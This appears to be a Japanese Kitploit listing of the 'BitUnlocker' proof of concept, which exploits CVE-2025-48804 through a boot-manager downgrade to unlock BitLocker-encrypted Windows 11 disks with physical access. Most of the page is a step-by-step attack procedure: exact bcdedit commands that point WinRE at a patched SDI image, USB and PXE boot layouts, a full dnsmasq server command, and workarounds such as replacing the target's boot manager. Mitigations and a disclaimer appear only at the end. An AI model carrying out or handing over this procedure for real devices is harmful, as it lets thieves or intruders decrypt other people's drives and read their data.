Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
BitUnlocker — CVE-2025-48804 に対するダウングレード攻撃 | Kitploit
ツール/GitHubGitHub/garatc/bitunlocker
脆弱性分析エクスプロイトポストエクスプロイトペネトレーションテストハードウェアセキュリティレッドチーミング
GitHubgaratc/bitunlocker

BitUnlocker

CVE-2025-48804 に対するダウングレード攻撃

リポジトリを見る
2234423日前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

BitUnlocker ダウングレード攻撃

License: MIT

完全にパッチ適用された Windows 11 マシン上で、ブートマネージャーのダウングレード攻撃を通じて 5 分未満 で BitLocker 暗号化ディスクにアクセスするための概念実証です。この攻撃は、元々 CVE-2025-48804 として文書化された SDI 脆弱性を利用します。2025年7月のパッチで bootmgfw.efi が修正されましたが、PCA 2011 で署名されたパッチ適用前の bootmgfw.efi は、対象システムがこの PCA を信頼している限り、ダウングレード攻撃に使用できます。

この PoC は、USB ブート(より簡単で推奨)と PXE ブート の 2 つの配信方法を提供します。しかし理論上は、SDI ブートファイルをデフォルトの暗号化されていないパーティション(ESP と回復)のいずれかにコピーし、USB や PXE を使わずに済ませることも可能です。「エッジケース」の表を参照してください。

この作業は、Microsoft STORM(Netanel Ben Simon 氏と Alon Leviev 氏)による研究に完全に基づいています:

BitUnlocker: Leveraging Windows Recovery to Extract BitLocker Secrets


前提条件

  • BitLocker 暗号化デバイスへの物理アクセス(TPM のみ、PCR 7 + 11)
  • デバイスの Secure Boot データベースが Microsoft Windows PCA 2011 証明書をまだ信頼していること
  • USB スティック(推奨)または PXE 用の dnsmasq とイーサネットケーブルを備えた Linux マシン

手順

1. boot_patched.sdi をリリースからダウンロードする(または後述の方法で独自の SDI ファイルをビルドする)

USB 方式の場合は USB/sdi/ に、PXE 方式の場合は TFTP-root/sdi/ に配置します。

2. 変更済み BCD を準備する

対象デバイスで WinRE コマンドプロンプトを開きます(Shift キーを押しながら 再起動 をクリックし、トラブルシューティング > コマンドプロンプト を選択。BitLocker 回復キーを求められたら「このディスクを無視する」をクリックし、ロックされたデバイスではコマンドプロンプトを実行できないと表示された場合は「再起動」をクリック。どうしてもコマンドプロンプトが開かない場合は、独自の WinPE を使用してください)。USB スティックを差し込み、以下を実行します:

root@kitploit:~
E: (または USB のドライブレター)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all

出力の中から、説明が "Windows Recovery" であり、ramdisksdidevice / ramdisksdipath エントリを含むデバイスオプションエントリを見つけます。その GUID をメモし、次を実行します:

root@kitploit:~
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD

結果の BCD ファイルを、使用する方法に応じて適切な場所に配置します:

  • USB: USB/EFI/Microsoft/Boot/BCD
  • PXE: TFTP-root/Boot/BCD

3. 対象をブートする

オプション A: USB ブート(推奨)

USB スティックを FAT32 でフォーマットし、USB/ ディレクトリの内容をルートにコピーします(内容のみで、"USB" フォルダが存在してはいけません)。USB スティックは次のようになります:

root@kitploit:~
USB スティック ルート/
├── EFI/
│   ├── Boot/
│   │   └── bootx64.efi        # パッチ適用前のブートマネージャー (PCA 2011)
│   └── Microsoft/
│       └── Boot/
│           └── BCD             # 変更済み BCD
└── sdi/
    └── boot_patched.sdi        # カスタム WinRE を含むパッチ済み SDI

対象に USB スティックを差し込み、UEFI USB ブートをトリガーします(WinRE から デバイスの使用 を選択するか、電源投入時にメーカーのブートメニューキー(F12、F9 など)を押します)。USB スティックがブートオプションのリストに表示されない場合は、UEFI ブートメニューで "Boot from file" オプションを探し、USB スティック上の EFI/Boot/bootx64.efi に移動します。

オプション B: PXE ブート

TFTP-root/ ディレクトリの構造は次のとおりです:

root@kitploit:~
TFTP-root/
├── bootmgfw.efi                # パッチ適用前のブートマネージャー (PCA 2011)
├── Boot/
│   └── BCD                     # 変更済み BCD
├── EFI/
│   └── Microsoft/
│       └── Boot/
│           └── bootmgfw.efi    # 同じパッチ適用前のブートマネージャー
└── sdi/
    └── boot_patched.sdi        # カスタム WinRE を含むパッチ済み SDI

イーサネット経由で対象を Linux マシンに接続し、PXE サーバーを起動します:

root@kitploit:~
cd BitUnlocker
export INTERFACE=<your-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root

sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
  --interface="$INTERFACE" \
  --dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
  --dhcp-boot=bootmgfw.efi \
  --enable-tftp \
  --tftp-root="$ABS_TFTP_ROOT" \
  --log-dhcp \
  --tftp-max=65464 \
  --port=0

対象で PXE ブートをトリガーします(WinRE から デバイスの使用 > IPv4 ネットワーク を選択するか、メーカーの PXE ブートキーを押します)。

4. SDI 転送を待つ

ブートマネージャーは BCD を読み込み、次に boot_patched.sdi のダウンロードを開始します。SDI ファイルは大きい(約 300 MB)ため、USB からは少し時間がかかり、TFTP 経由では 数分 かかります。読み込み中、対象画面に SDI パスを含む回復関連のメッセージが表示されるはずです。

5. 完了

転送が完了すると、OS ボリュームが復号化されマウントされた状態で(通常は C: または E:)コマンドプロンプトが表示されます。自動的にマウントされなかった場合やドライブレターを推測したくない場合は、diskpart -> sel vol X(暗号化されたドライブのように見えるもの)-> assign letter=C(または他の文字)-> exit を実行してから完了です。

エッジケース

状況結果
PIN を知っている状態で BitLocker が設定されているブート時に青画面 — 盲目的に PIN を入力して(このリポジトリに BitLocker フォントを含めるのを面倒くさがったため)Enter を押す
青画面、PIN なし対象が CA 2023 に移行している可能性が高い — Escape を押して SDI 転送を完了させてください。ただし、最終的に BitLocker 暗号化ドライブはロックされたままになる可能性が高いです
USB-C / Thunderbolt のみUSB-C ドライブまたは USB-イーサネットアダプター(PXE 用)を使用
TFTP ファイルが見つからない(気にしないゴミの Font ファイル以外)ファイル名は大文字小文字を区別 — bootmgfw.efi を対象が要求する名前にリネーム
PXE または USB ブートが許可されていないESP および回復パーティションの利用可能なサイズを確認する(diskpart -> list vol)。指定された Boot.sdi ファイル(約 300MB)を収容できる十分な空き領域がある場合は、そこに配置します。その後、エクスプロイトは少し異なりますが(それでも同様に高速です)、対象システムの BCD ファイルを直接変更し(必ずバックアップを取ってください)、暗号化されていないホストパーティションを指すようにし(特に ramdisksdidevice BCD エントリ)、対象の bootmgfw.efi をこのリポジトリの TFTP フォルダにあるものに置き換える必要があります。この場合、対象のブートマネージャーが PCA 2011 で署名されていることを確認してください(その場合でもエクスプロイトは機能しませんが、常に確認してください)。そうしないと、システムが BitLocker 回復状態になります。また、Boot.sdi ファイルを収容するのに十分な空き領域がない場合は、独自の小さなバージョンを作成してみてください。それを行う方法はいくつかあります(以下の「独自の SDI ファイルをビルドする」セクションを参照)

独自の SDI ファイルをビルドする

scripts/ に 2 つのスクリプトが含まれています:

  • patch_sdi.py — boot.sdi と WinRE.wim ファイルから変更済み SDI ファイルをビルドします
  • parse_sdi.py — SDI ファイルを解析して構造と内容を検証します

リリースで提供されている boot_patched.sdi ファイルには、起動アプリが cmd.exe に変更された WinRE.wim が含まれています。

悪用不可能なケース

  • TPM + PIN または TPM + キーファイル が設定されており、攻撃者がそれを知らない場合
  • KB5025885 がインストールされている / ブートマネージャーが CA 2023 に移行されている — 2026年初頭以降に新規インストールされたマシンは、デフォルトで CA 2023 署名の bootmgfw.efi が出荷される可能性が高いです。確認するには、EFI パーティションをマウントしてアクティブなバイナリを調べます:mountvol S: /s を実行し、sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi を実行します。C:\Windows\Boot\EFI\bootmgfw.efi は実際にブート時に使用されるファイルと異なる場合があることに注意してください。常に EFI パーティションのコピーを確認してください。
  • デフォルト以外の PCR ポリシー — PCR 0、2、または 4 を含む構成は、ブートパスの変更を検出します
  • DBX による PCA 2011 の失効 — 古い証明書が明示的に信頼されていない場合

緩和策

  • TPM + PIN を有効にする — プリブート PIN により、ブートパスの操作に関係なく、ユーザーの操作なしで TPM が VMK をシール解除するのを防ぎます。ただし、PIN を知っている内部関係者を阻止することはできないことに注意してください。
  • Windows UEFI CA 2023 に移行し、KB5025885 を適用してダウングレード攻撃を完全に防ぐ

クレジット

Microsoft STORM(Netanel Ben Simon 氏と Alon Leviev 氏) — 元の BitUnlocker 研究と脆弱性の開示に感謝します。


ライセンス

このプロジェクトは MIT ライセンス の下でライセンスされています。詳細は LICENSE ファイルを参照してください。

免責事項

このリポジトリとそのすべての内容は、認可されたセキュリティテストおよび研究目的 でのみ提供されます。このツールは、自分が所有しているか、テストする明示的な書面による許可を得たシステムでのみ使用してください。コンピュータシステムへの不正アクセスは違法です。著者は、この資料の使用に起因する誤用や損害について一切の責任を負いません。

ツールをダウンロード